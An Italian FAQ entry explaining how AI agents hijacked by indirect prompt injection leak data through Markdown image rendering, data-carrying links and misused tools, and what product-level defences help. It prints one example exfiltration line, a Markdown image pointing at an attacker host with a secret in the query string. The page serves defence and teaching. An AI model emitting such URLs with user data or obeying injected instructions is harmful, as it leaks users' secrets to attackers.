F FabGPT-FAQ

Come esfiltrano dati gli attacchi agli agenti AI (side-channel, Markdown)?

AI e LLM 2 min lettura Runbook verificato

Un agente compromesso via indirect prompt injection deve poi far uscire i dati che ruba – e le vie sono più subdole di una connessione di rete evidente. I canali laterali documentati:

  • rendering Markdown / immagini: l'attaccante induce l'agente a generare un'immagine Markdown ![](https://server-attaccante.com/leak?dati=SEGRETO) – quando l'interfaccia renderizza l'immagine, il browser della vittima fa la richiesta a quell'URL, esfiltrando i dati nella query string. La vittima vede solo un'immagine rotta; l'attaccante ha ricevuto il segreto. È uno degli attacchi più eleganti e ha colpito assistenti reali
  • link cliccabili con dati codificati nell'URL, che l'utente clicca inconsapevolmente
  • chiamate a tool legittimi piegate all'esfiltrazione (un tool che "cerca sul web" usato per spedire dati nella query)

Le difese, a livello di prodotto e di architettura:

  • sanitizzare l'output: non renderizzare immagini/link verso domini arbitrari, allowlist dei domini, disabilitare il caricamento automatico di risorse esterne nelle risposte
  • egress control sui tool dell'agente (niente chiamate verso domini non fidati)
  • permessi minimi: l'agente non deve avere accesso sia ai dati sensibili sia alla capacità di comunicare con l'esterno senza controlli

È un promemoria che la sicurezza degli agenti non finisce al prompt: ciò che l'agente legge può ordinargli di agire, e come il suo output viene renderizzato può essere il canale di fuga. Superficie nuova, principi vecchi: valida gli input, controlla gli output, minimizza i privilegi.

Hai una domanda specifica su questo tema?

Interroga direttamente il motore FabGPT-FAQ con risposta in tempo reale.